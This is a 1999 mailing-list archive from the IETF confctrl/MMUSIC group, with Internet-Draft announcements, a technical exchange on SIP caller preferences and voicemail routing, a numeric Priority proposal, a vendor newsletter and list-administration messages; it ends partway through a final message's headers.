	for <confctrl@zephyr.isi.edu>; Wed, 23 Jun 1999 10:11:24 -0700 (PDT)
Received: from ietf.org (odin.ietf.org [132.151.1.176])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id KAA18864
	for <confctrl@isi.edu>; Wed, 23 Jun 1999 10:11:23 -0700 (PDT)
Received: from CNRI.Reston.VA.US (localhost [127.0.0.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id NAA06049;
	Wed, 23 Jun 1999 13:10:49 -0400 (EDT)
Message-Id: <199906231710.NAA06049@ietf.org>
Mime-Version: 1.0
Content-Type: Multipart/Mixed; Boundary="NextPart"
To: IETF-Announce: ;
Cc: confctrl@ISI.EDU
From: Internet-Drafts@ietf.org
Reply-to: Internet-Drafts@ietf.org
Subject: I-D ACTION:draft-ietf-mmusic-sip-session-timer-02.txt
Date: Wed, 23 Jun 1999 13:10:49 -0400
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

--NextPart

A New Internet-Draft is available from the on-line Internet-Drafts directories.
This draft is a work item of the Multiparty Multimedia Session Control Working Group of the IETF.

	Title		: SIP Session Timer
	Author(s)	: S. Donovan
	Filename	: draft-ietf-mmusic-sip-session-timer-02.txt
	Pages		: 12
	Date		: 22-Jun-99
	
This document proposes an extension to the SIP specification.  This
extension adds a new message header that is used to specify the
duration of a requested session.
 
The session timer can be used to control the duration of a session
if, for instance, one of the participants in the session wants to
limit the cost of the session.  It can also be used by stateful SIP
Proxy Servers to track the status of sessions for which session state
exists on the servers. Currently a stateful SIP Proxy Server that is
not handling the media stream(s) for the session has no mechanism to
definitively determine the state of all sessions for which it has state.
While the SIP Specification does provide the BYE method for terminating
the session, there is no mechanism for a SIP Proxy Server to detect the
end of a session when the BYE message is not sent or is lost due to
network problems.

A URL for this Internet-Draft is:
http://www.ietf.org/internet-drafts/draft-ietf-mmusic-sip-session-timer-02.txt

Internet-Drafts are also available by anonymous FTP. Login with the username
"anonymous" and a password of your e-mail address. After logging in,
type "cd internet-drafts" and then
	"get draft-ietf-mmusic-sip-session-timer-02.txt".

A list of Internet-Drafts directories can be found in
http://www.ietf.org/shadow.html 
or ftp://ftp.ietf.org/ietf/1shadow-sites.txt


Internet-Drafts can also be obtained by e-mail.

Send a message to:
	mailserv@ietf.org.
In the body type:
	"FILE /internet-drafts/draft-ietf-mmusic-sip-session-timer-02.txt".
	
NOTE:	The mail server at ietf.org can return the document in
	MIME-encoded form by using the "mpack" utility.  To use this
	feature, insert the command "ENCODING mime" before the "FILE"
	command.  To decode the response(s), you will need "munpack" or
	a MIME-compliant mail reader.  Different MIME-compliant mail readers
	exhibit different behavior, especially when dealing with
	"multipart" MIME messages (i.e. documents which have been split
	up into multiple messages), so check your local documentation on
	how to manipulate these messages.
		
		
Below is the data which will enable a MIME compliant mail reader
implementation to automatically retrieve the ASCII version of the
Internet-Draft.

--NextPart
Content-Type: Multipart/Alternative; Boundary="OtherAccess"

--OtherAccess
Content-Type: Message/External-body;
	access-type="mail-server";
	server="mailserv@ietf.org"

Content-Type: text/plain
Content-ID:	<19990622132322.I-D@ietf.org>

ENCODING mime
FILE /internet-drafts/draft-ietf-mmusic-sip-session-timer-02.txt

--OtherAccess
Content-Type: Message/External-body;
	name="draft-ietf-mmusic-sip-session-timer-02.txt";
	site="ftp.ietf.org";
	access-type="anon-ftp";
	directory="internet-drafts"

Content-Type: text/plain
Content-ID:	<19990622132322.I-D@ietf.org>

--OtherAccess--

--NextPart--



From confctrl-owner  Wed Jun 23 12:00:15 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id MAA16393
	for confctrl-outgoing; Wed, 23 Jun 1999 12:00:15 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id MAA16383
	for <confctrl@zephyr.isi.edu>; Wed, 23 Jun 1999 12:00:11 -0700 (PDT)
Received: from cheetah.safari.net (qmailr@cheetah.safari.net [206.96.248.28])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id MAA00095
	for <confctrl@isi.edu>; Wed, 23 Jun 1999 12:00:07 -0700 (PDT)
From: xs-dated-4b562b59b93664c6@noc.safari.net
Received: (qmail 15941 invoked from network); 23 Jun 1999 18:59:48 -0000
Received: from rhino.safari.net (HELO noc) (qmailr@208.235.96.54)
  by smtp.safari.net with SMTP; 23 Jun 1999 18:59:48 -0000
Received: (qmail 28382 invoked by uid 500); 23 Jun 1999 18:59:48 -0000
Delivered-To: xs@rhino.safari.net
Received: (qmail 28370 invoked from network); 23 Jun 1999 18:59:46 -0000
Received: from katanga.safari.net (HELO mail1.safari.net) (qmailr@206.96.248.4) by rhino.safari.net with SMTP; 23 Jun 1999 18:59:46 -0000
Received: (qmail 1918 invoked by uid 2600); 23 Jun 1999 18:59:03 -0000
Delivered-To: xs@SAFARI.NET
Received: (qmail 1908 invoked from network); 23 Jun 1999 18:59:01 -0000
Received: from loki.ietf.org (132.151.1.177) by mail1.safari.net with SMTP; 23 Jun 1999 18:59:01 -0000
Received: (from adm@localhost) by loki.ietf.org (8.9.1b+Sun/8.9.1) id NAA05543 for ietf-123-outbound.09@ietf.org; Wed, 23 Jun 1999 13:55:01 -0400 (EDT)
Received: from ietf.org (odin.ietf.org [10.27.2.28]) by loki.ietf.org (8.9.1b+Sun/8.9.1) with ESMTP id NAA04965 for <all-ietf@loki.ietf.org>; Wed, 23 Jun 1999 13:15:17 -0400 (EDT)
Received: from CNRI.Reston.VA.US (localhost [127.0.0.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id NAA06049; Wed, 23 Jun 1999 13:10:49 -0400 (EDT)
Message-Id: <199906231710.NAA06049@ietf.org>
Mime-Version: 1.0
X-Security: MIME headers sanitized on rhino See http://www.wolfenet.com/~jhardin/procmail-security.html for details. $Revision: 1.84 $Date: 1999-06-12 12:30:37-07 
Content-Type: Multipart/Mixed; Boundary="NextPart"
To: IETF-Announce: ;
Cc: confctrl@ISI.EDU
Reply-to: Internet-Drafts@odin.ietf.org
Subject: I-D ACTION:draft-ietf-mmusic-sip-session-timer-02.txt
Date: Wed, 23 Jun 1999 13:10:49 -0400
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

--NextPart

A New Internet-Draft is available from the on-line Internet-Drafts directories.
This draft is a work item of the Multiparty Multimedia Session Control Working Group of the IETF.

	Title		: SIP Session Timer
	Author(s)	: S. Donovan
	Filename	: draft-ietf-mmusic-sip-session-timer-02.txt
	Pages		: 12
	Date		: 22-Jun-99
	
This document proposes an extension to the SIP specification.  This
extension adds a new message header that is used to specify the
duration of a requested session.
 
The session timer can be used to control the duration of a session
if, for instance, one of the participants in the session wants to
limit the cost of the session.  It can also be used by stateful SIP
Proxy Servers to track the status of sessions for which session state
exists on the servers. Currently a stateful SIP Proxy Server that is
not handling the media stream(s) for the session has no mechanism to
definitively determine the state of all sessions for which it has state.
While the SIP Specification does provide the BYE method for terminating
the session, there is no mechanism for a SIP Proxy Server to detect the
end of a session when the BYE message is not sent or is lost due to
network problems.

A URL for this Internet-Draft is:
http://www.ietf.org/internet-drafts/draft-ietf-mmusic-sip-session-timer-02.txt

Internet-Drafts are also available by anonymous FTP. Login with the username
"anonymous" and a password of your e-mail address. After logging in,
type "cd internet-drafts" and then
	"get draft-ietf-mmusic-sip-session-timer-02.txt".

A list of Internet-Drafts directories can be found in
http://www.ietf.org/shadow.html 
or ftp://ftp.ietf.org/ietf/1shadow-sites.txt


Internet-Drafts can also be obtained by e-mail.

Send a message to:
	mailserv@ietf.org.
In the body type:
	"FILE /internet-drafts/draft-ietf-mmusic-sip-session-timer-02.txt".
	
NOTE:	The mail server at ietf.org can return the document in
	MIME-encoded form by using the "mpack" utility.  To use this
	feature, insert the command "ENCODING mime" before the "FILE"
	command.  To decode the response(s), you will need "munpack" or
	a MIME-compliant mail reader.  Different MIME-compliant mail readers
	exhibit different behavior, especially when dealing with
	"multipart" MIME messages (i.e. documents which have been split
	up into multiple messages), so check your local documentation on
	how to manipulate these messages.
		
		
Below is the data which will enable a MIME compliant mail reader
implementation to automatically retrieve the ASCII version of the
Internet-Draft.

--NextPart
Content-Type: Multipart/Alternative; Boundary="OtherAccess"

--OtherAccess
Content-Type: Message/External-body;
	access-type="mail-server";
	server="mailserv@ietf.org"

Content-Type: text/plain
Content-ID:	<19990622132322.I-D@ietf.org>

ENCODING mime
FILE /internet-drafts/draft-ietf-mmusic-sip-session-timer-02.txt

--OtherAccess
Content-Type: Message/External-body;
	name="draft-ietf-mmusic-sip-session-timer-02.txt";
	site="ftp.ietf.org";
	access-type="anon-ftp";
	directory="internet-drafts"

Content-Type: text/plain
Content-ID:	<19990622132322.I-D@ietf.org>

--OtherAccess--

--NextPart--



From confctrl-owner  Wed Jun 23 14:32:07 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id OAA26437
	for confctrl-outgoing; Wed, 23 Jun 1999 14:32:07 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id OAA26432
	for <confctrl@zephyr.isi.edu>; Wed, 23 Jun 1999 14:32:06 -0700 (PDT)
Received: from dirty.research.bell-labs.com (dirty.research.bell-labs.com [204.178.16.6])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id OAA15549
	for <confctrl@isi.edu>; Wed, 23 Jun 1999 14:32:04 -0700 (PDT)
Received: from nova.dnrc.bell-labs.com ([135.180.131.5]) by dirty; Wed Jun 23 17:31:39 EDT 1999
Received: from dnrc.bell-labs.com (arrakis.dnrc.bell-labs.com [135.180.130.41])
	by nova.dnrc.bell-labs.com (8.9.3/8.9.3) with ESMTP id RAA13927;
	Wed, 23 Jun 1999 17:31:20 -0400 (EDT)
Message-ID: <37714EF8.883E4099@dnrc.bell-labs.com>
Date: Wed, 23 Jun 1999 17:17:44 -0400
From: Jonathan Rosenberg <jdrosen@dnrc.bell-labs.com>
X-Mailer: Mozilla 4.04 [en] (WinNT; I)
MIME-Version: 1.0
To: Anders Kristensen <ak@hplb.hpl.hp.com>
CC: Henning Schulzrinne <hgs@cs.columbia.edu>,
        "Adam B. Roach" <Adam.Roach@Ericsson.com>, confctrl@ISI.EDU
Subject: Re: SIP, voicemail, and UPT
References: <199906221538.KAA15437@b04a24.exu.ericsson.se> <37701866.B8002358@cs.columbia.edu> <376FEC3F.640B0132@dnrc.bell-labs.com> <3770B84D.E6292376@hplb.hpl.hp.com> <3770E3AA.36DAC953@dnrc.bell-labs.com> <3770FA74.740CA23E@hplb.hpl.hp.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Anders Kristensen wrote:
> 
> > Another possibility is if the proxy first tried the non-voicemail
> > addresses, and then if both fail, tried the voicemail one. This can also
> > be supported in the current caller preferences framework:
> >
> > Accept-Contact: *;feature=!voice-mail;q=0.8,
> >                 *;feature=voice-mail;q=0.1
> > Request-Disposition: sequential
> >
> > This basically tells the proxy to group the non-voicemail addresses
> > together, and try those first and then try the voice-mail ones. Of
> > course, what to do when the CPL for the callee says to do something
> > totally different is a very good question.
> 
> This can still fail, though, in the case where a downstream proxy (or
> the UAS itself) knows about both a voicemail and a non-voicemail contact
> address, e.g. if the caller invites alice@ieee.org and the ieee.org
> proxy proxies to alice@example.com and 1234567@gateway.com in turn, and
> the example.com proxy always succeeds with voicemail if nothing else
> works. This means the ieee.com proxy never even attempts its alternative
> addresses for alice@ieee.org (things don't quite work out when it's a
> forking proxy either).

Yes, this can happen. The problem is that there is not a single proxy
which is uniquely providing this service. Caller preferences affects
routing at each server that has relevant information that can be biased
by the preferences. I believe this to be a feature, not a bug.


> 
> Anyway, this differs from Classic UPT in that the onus is on the callee
> to do something special to provide the caller with the service. If you
> wanted to be able to provide callees with a UPT service without
> requiring clients to include the caller-prefs to support it you'd have
> think of something else.

What your describing seems exactly the point of CPL - callees describing
services without callers needing to include caller preferences.

  One idea might be for the caller-prefs to
> originate from a UPT-enabled proxy. Obviously the proxy-caller-prefs
> might interact adversely with the original caller-prefs, so the proxy
> could attempt to do some sort of preferences rewrite that would make it
> achieve it's purpose. This could probably get pretty hairy and could
> maybe give some surprising results.

Right; here's sort of how I think it would work then:

Consider a smart proxy which takes ownership of providing this service.
When it receivs the request above, it determines that the user wants to
first try non-voicemail addresses. So, it forwards the request to all
non-voicemail URL's it has, but changes the outgoing Accept-Contact:

Accept-Contact: *;feature=!voice-mail;q=1.0
Request-Disposition: parallel

This causes a rapid search for any terminal that is not voicemail. If
the responses all come back as non-200, it then sends out a second wave
of invites, this time with an Accept-Contact as:

Accept-Contact: *;feature=voice-mail;q=1.0

Now, of course the problem is sending out this wave of new invites. If
they are to different proxies, its all fine, since then its just like
sequential search. But, if this new invite hits a proxy which got the
original, it looks as a retransmission and the old error response is
sent. This approach (and the problem it has) is similar to what was
suggested previously. 

We could fix this with yet-another-identifier that allows different
proxied requests to appear as different transactions to downstream
servers. This is a big change and I'm not sure it works (at the very
least, as Anders points out, it may be very hairy) or is worth it, but
its something to consider.

I might add this Accept-Contact re-writing mechanism would allow us to
support the voicemail service Dave has been talking about: calls to boss
go to secretary, but to boss's voicemail if secretary is not there.


-Jonathan R.
-- 
Jonathan D. Rosenberg                       Lucent Technologies
Member of Technical Staff                   101 Crawfords Corner Rd.
High Speed Networks Research                Holmdel, NJ 07733
FAX:   (732) 834-5379                       Rm. 4C-526
EMAIL: jdrosen@bell-labs.com
URL: http://www.cs.columbia.edu/~jdrosen

From confctrl-owner  Wed Jun 23 23:56:14 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id XAA24156
	for confctrl-outgoing; Wed, 23 Jun 1999 23:56:14 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id XAA24148
	for <confctrl@zephyr.isi.edu>; Wed, 23 Jun 1999 23:56:12 -0700 (PDT)
Received: from bsf.alcatel.fr (root@laposte.bsf.alcatel.fr [193.104.128.7])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id XAA24542
	for <confctrl@ISI.edu>; Wed, 23 Jun 1999 23:56:10 -0700 (PDT)
Received: from mail (mail.sxb.bsf.alcatel.fr [155.132.20.69])
	by bsf.alcatel.fr (8.9.3/8.9.3) with SMTP id IAA14388
	for <confctrl@ISI.edu>; Thu, 24 Jun 1999 08:58:35 +0200 (MET DST)
Received: from sxb.bsf.alcatel.fr by mail (SMI-8.6/ABS1.4) id IAA18203; Thu, 24 Jun 1999 08:55:54 +0200
Message-ID: <3771D62D.70336F78@sxb.bsf.alcatel.fr>
Date: Thu, 24 Jun 1999 08:54:37 +0200
From: Nicolas Bertin <Nicolas.Bertin@sxb.bsf.alcatel.fr>
Organization: ALCATEL
X-Mailer: Mozilla 4.06 [en] (WinNT; I)
MIME-Version: 1.0
To: confctrl@ISI.EDU
Subject: unsuscribe
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk




From confctrl-owner  Thu Jun 24 05:29:07 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id FAA05925
	for confctrl-outgoing; Thu, 24 Jun 1999 05:29:07 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id FAA05920
	for <confctrl@zephyr.isi.edu>; Thu, 24 Jun 1999 05:29:05 -0700 (PDT)
Received: from jaguars.cableinet.net (jaguars-int.cableinet.net [193.38.113.9])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id FAA02474
	for <confctrl@isi.edu>; Thu, 24 Jun 1999 05:29:03 -0700 (PDT)
Message-Id: <199906241229.FAA02474@tnt.isi.edu>
Received: (qmail 30385 invoked from network); 24 Jun 1999 12:24:49 -0000
Received: from unknown (HELO usr123-haw.cableinet.co.uk) (194.117.146.188)
  by jaguars with SMTP; 24 Jun 1999 12:24:49 -0000
From: newsletter <newsletter@cabot.co.uk>
To: "Cabot Software Newsletter" <newsletter@cabot.co.uk>
Date: Thu, 24 Jun 1999 13:22:38 +0100
X-Distribution: Bulk
MIME-Version: 1.0
Content-type: text/plain; charset=US-ASCII
Content-transfer-encoding: 7BIT
Subject: EuroMHEG-5 and Dotrans - HTML to MHEG-5
Reply-to: newsletter@cabot.co.uk
Priority: normal
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

                EUROMHEG5 DEVELOPMENT PARTNER NEEDED.

EuroMHEG-5 is destined to a be adopted by most of the European 
terrestrial TV networks. The EuroMHEG-5 specification is virtually 
finalised.

Cabot Software has one of the best developed, fault tolerant 
MHEG-5 engine in the world and with 4 man years of development 
invested in the product.

We are now looking for a partner to participate in a joint 
development phase to update Cabot's MHEG-5 engine to the 
EuroMHEG-5 standard.  

It is anticipated that both parties will have equal rights to the final
EuroMHEG-5 product.

In the first instance please contact Kenneth Helps email: 
Ken.helps@cabot.co.uk or  call on +44 117 944 2454.


                              DOTRANS 

Dotrans the worlds 1st Internet to Digital TV translator product is 
gaining fans and accreditation from broadcasters and the computer 
industry.

Dotrans is a complete comprehensive HTML to MHEG-5 converter, 
converting WEB pages into MHEG-5 pages. The product is 
supplied with test programs, examples, a well written manual and 
all for 130 UK Pounds + VAT & shipping costs.

                              DOTRANS PROFESSIONAL

Dotrans Professional enhances the standard Dotrans with the 
inclusion of Paint Shop Pro, to enable conversion of graphics 
including GIF to PNG for Digital TV.  The professional version costs 
250 UK Pounds + VAT & shipping costs.


SUBSCRIPTION INFORMATION

TO SUBSCRIBE
mailto:newsletter@cabot.co.uk putting the word 'SUBSCRIBE' 
in the subject line

TO UNSUBSCRIBE
REPLY to this newsletter putting 'UNSUBSCRIBE' in the 
subject line.

If you know someone else who would enjoy this newsletter 
please forward a copy to them so they can subscribe.

Cabot Software

     newsletter@cabot.co.uk    http://www.cabot.co.uk  

 1-4 Portland Square, Bristol, BS2 8RR, England.
        Tel: +44 117 944 2454     Fax: +44 117 944 2457



From confctrl-owner  Thu Jun 24 07:52:25 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id HAA12724
	for confctrl-outgoing; Thu, 24 Jun 1999 07:52:25 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id HAA12719
	for <confctrl@zephyr.isi.edu>; Thu, 24 Jun 1999 07:52:24 -0700 (PDT)
Received: from thumper.research.telcordia.com (thumper.research.telcordia.com [128.96.41.1])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id HAA07242
	for <confctrl@isi.edu>; Thu, 24 Jun 1999 07:52:23 -0700 (PDT)
Received: from shannon.research.bellcore.com (shannon [128.96.73.2])
	by thumper.research.telcordia.com (8.9.1a/8.9.1) with ESMTP id KAA01959
	for <confctrl@isi.edu>; Thu, 24 Jun 1999 10:51:48 -0400 (EDT)
Received: from dyang1 (nv-kyang.cc.bellcore.com [128.96.70.123])
	by shannon.research.bellcore.com (8.8.8/8.8.8) with SMTP id KAA29354
	for <confctrl@isi.edu>; Thu, 24 Jun 1999 10:51:47 -0400 (EDT)
From: "Danny Yang" <dyang@research.telcordia.com>
To: "mmusic" <confctrl@ISI.EDU>
Subject: problem with subscribe
Date: Thu, 24 Jun 1999 10:50:50 -0400
Message-ID: <002901bebe50$f3a63610$7b466080@cc.bellcore.com>
MIME-Version: 1.0
Content-Type: multipart/alternative;
	boundary="----=_NextPart_000_002A_01BEBE2F.6C949610"
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook 8.5, Build 4.71.2173.0
Importance: Normal
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2314.1300
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

This is a multi-part message in MIME format.

------=_NextPart_000_002A_01BEBE2F.6C949610
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit

Hi,

I've been trying to subscribe to this mail list without a success.

I have tried sending request to
mailto:confctrl-request@isi.edu and  mailto:majordomo@zephyr.isi.edu
with "subscribe", "subscribe confctrl", or 
"subscribe confctrl dyang@research.telcordia.com" as the only line
in the message.

Can anyone point me the right way to subscribe?
Please reply directly to me since I can't receive mails from the group yet.
Thanks a lot.

Danny



------=_NextPart_000_002A_01BEBE2F.6C949610
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META content=3D"text/html; charset=3Diso-8859-1" =
http-equiv=3DContent-Type>
<META content=3D"MSHTML 5.00.2314.1000" name=3DGENERATOR></HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT face=3DArial size=3D2><SPAN=20
class=3D282434314-24061999>Hi,</SPAN></FONT></DIV>
<DIV><FONT face=3DArial size=3D2><SPAN=20
class=3D282434314-24061999></SPAN></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2><SPAN class=3D282434314-24061999>I've =
been trying to=20
subscribe to this mail list without a success.</SPAN></FONT></DIV>
<DIV><FONT face=3DArial size=3D2><SPAN=20
class=3D282434314-24061999></SPAN></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2><SPAN class=3D282434314-24061999>I have =
tried sending=20
request to</SPAN></FONT></DIV>
<DIV><FONT face=3DArial size=3D2><SPAN class=3D282434314-24061999><A=20
href=3D"mailto:confctrl-request@isi.edu">mailto:confctrl-request@isi.edu<=
/A>&nbsp;and&nbsp;=20
<FONT size=3D2><A=20
href=3D"mailto:majordomo@zephyr.isi.edu">mailto:majordomo@zephyr.isi.edu<=
/A></FONT></SPAN></FONT></DIV>
<DIV><FONT face=3DArial size=3D2><SPAN class=3D282434314-24061999>with =
"subscribe",=20
"subscribe confctrl", or </SPAN></FONT></DIV>
<DIV><FONT face=3DArial size=3D2><SPAN =
class=3D282434314-24061999>"subscribe confctrl=20
<A =
href=3D"mailto:dyang@research.telcordia.com">dyang@research.telcordia.com=
</A>"=20
as the only line</SPAN></FONT></DIV>
<DIV><FONT face=3DArial size=3D2><SPAN class=3D282434314-24061999>in the =

message.</SPAN></FONT></DIV>
<DIV><FONT face=3DArial size=3D2><SPAN=20
class=3D282434314-24061999></SPAN></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2><SPAN class=3D282434314-24061999>Can =
anyone point me=20
the right way to subscribe?</SPAN></FONT></DIV>
<DIV><FONT face=3DArial size=3D2><SPAN class=3D282434314-24061999>Please =
reply=20
directly to me since I can't receive mails from the group=20
yet.</SPAN></FONT></DIV>
<DIV><FONT face=3DArial size=3D2><SPAN =
class=3D282434314-24061999></SPAN></FONT><FONT=20
face=3DArial size=3D2><SPAN class=3D282434314-24061999>Thanks a=20
lot.</SPAN></FONT></DIV>
<DIV><FONT face=3DArial size=3D2><SPAN=20
class=3D282434314-24061999></SPAN></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2><SPAN=20
class=3D282434314-24061999>Danny</SPAN></FONT></DIV>
<DIV><FONT face=3DArial size=3D2><SPAN=20
class=3D282434314-24061999></SPAN></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2><SPAN=20
class=3D282434314-24061999>&nbsp;</DIV></SPAN></FONT></BODY></HTML>

------=_NextPart_000_002A_01BEBE2F.6C949610--


From confctrl-owner  Fri Jun 25 06:32:57 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id GAA01052
	for confctrl-outgoing; Fri, 25 Jun 1999 06:32:57 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id GAA01047
	for <confctrl@zephyr.isi.edu>; Fri, 25 Jun 1999 06:32:57 -0700 (PDT)
Received: from tapti.hss.hns.com ([139.85.242.19])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id GAA02255
	for <confctrl@isi.edu>; Fri, 25 Jun 1999 06:32:34 -0700 (PDT)
From: archow@hss.hns.com
Received: from sampark.hss.hns.com (sampark.hss.hns.com [139.85.229.5])
	by tapti.hss.hns.com (8.8.8/8.8.8) with SMTP id UAA04229
	for <confctrl@isi.edu>; Fri, 25 Jun 1999 20:10:22 +0530 (IST)
Received: by sampark.hss.hns.com(Lotus SMTP MTA SMTP v4.6 (462.2 9-3-1997))  id 6525679B.004A8213 ; Fri, 25 Jun 1999 19:03:49 +0530
X-Lotus-FromDomain: HSSBLR
To: confctrl@ISI.EDU
Message-ID: <6525679B.004A1875.00@sampark.hss.hns.com>
Date: Fri, 25 Jun 1999 19:03:47 +0530
Subject: Priority - string or value ?
Mime-Version: 1.0
Content-type: text/plain; charset=us-ascii
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Hi the priority grammar has been defined in RFC-2543 as:


        Priority        =  "Priority" ":" priority-value
        priority-value  =  "emergency" | "urgent" | "normal"
                        |  "non-urgent"

Isnt it more helpful if a integral number is also added as a part of
priority value ?
This would allow a larger scalability of priorities. Implementation point
of view, a numeric priority value would be easier to categorise/extend too.
For example the grammar might say
priority-value = 1 | 2| 3| 4 where 1 means "emergency etc"
so I can go ahead and add a 5 if I want to (which may well be understood by
only my implementation and in future may be understood by others as they
standardise)

Just a thought.
Regds
Arjun



From confctrl-owner  Fri Jun 25 07:44:57 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id HAA03016
	for confctrl-outgoing; Fri, 25 Jun 1999 07:44:57 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id HAA03008
	for <confctrl@zephyr.isi.edu>; Fri, 25 Jun 1999 07:44:55 -0700 (PDT)
Received: from gwa.ericsson.com (gwa.ericsson.com [198.215.127.2])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id HAA04937
	for <confctrl@isi.edu>; Fri, 25 Jun 1999 07:44:54 -0700 (PDT)
Received: from mr3.exu.ericsson.se (mr3a.ericsson.com [198.215.127.159])
	by gwa.ericsson.com (8.9.3/8.9.3) with ESMTP id JAA18983
	for <confctrl@isi.edu>; Fri, 25 Jun 1999 09:44:20 -0500 (CDT)
Received: from newman.exu.ericsson.se (newman.exu.ericsson.se [138.85.10.50])
	by mr3.exu.ericsson.se (8.8.8/8.8.8) with ESMTP id JAA25550
	for <confctrl@isi.edu>; Fri, 25 Jun 1999 09:44:09 -0500 (CDT)
Received: from b04a24.exu.ericsson.se (b04a24.exu.ericsson.se [138.85.60.124]) by newman.exu.ericsson.se (8.7.5/8.7.3) with ESMTP id JAA02932 for <confctrl@isi.edu>; Fri, 25 Jun 1999 09:44:07 -0500 (CDT)
Received: (from exuadam@localhost)
	by b04a24.exu.ericsson.se (8.9.1/8.9.1) id JAA28184
	for confctrl@isi.edu; Fri, 25 Jun 1999 09:44:04 -0500 (CDT)
Message-Id: <199906251444.JAA28184@b04a24.exu.ericsson.se>
Subject: PSTN Interworking Draft
To: confctrl@ISI.EDU
Date: Fri, 25 Jun 1999 09:44:03 -0500 (CDT)
From: "Adam B. Roach" <Adam.Roach@Ericsson.com>
X-Mailer: ELM [version 2.4 PL24]
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


The following draft is now available from the Internet Drafts
archive:

"SIP PSTN Interworking Umbrella 'Require:' Header"

Abstract

     This document outlines a new value for the SIP "Require:" header
     which denotes compliance with a number of mechanisms necessary to
     interwork smoothly with existing telephony networks.

http://www.ietf.org/internet-drafts/draft-roach-mmusic-sip-pstn-require-header-00.txt

-- 
Adam Roach, Ericsson Inc. |  Ph: +1 972 583 7594 | 1010 E. Arapaho, MS L-04
adam.roach@ericsson.com   | Fax: +1 972 669 0154 | Richardson, TX 75081 USA

From confctrl-owner  Fri Jun 25 09:29:56 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id JAA06960
	for confctrl-outgoing; Fri, 25 Jun 1999 09:29:56 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id JAA06955
	for <confctrl@zephyr.isi.edu>; Fri, 25 Jun 1999 09:29:55 -0700 (PDT)
Received: from bells.cs.ucl.ac.uk (bells.cs.ucl.ac.uk [128.16.5.31])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id JAA12104
	for <confctrl@isi.edu>; Fri, 25 Jun 1999 09:29:54 -0700 (PDT)
Received: from shaggy.cs.ucl.ac.uk by bells.cs.ucl.ac.uk with local SMTP 
          id <g.05005-0@bells.cs.ucl.ac.uk>; Fri, 25 Jun 1999 17:29:46 +0100
Message-ID: <3773AE9A.5694C094@cs.ucl.ac.uk>
Date: Fri, 25 Jun 1999 17:30:18 +0100
From: Kristian Hasler <K.Hasler@cs.ucl.ac.uk>
X-Mailer: Mozilla 4.6 [en] (Win98; I)
X-Accept-Language: en
MIME-Version: 1.0
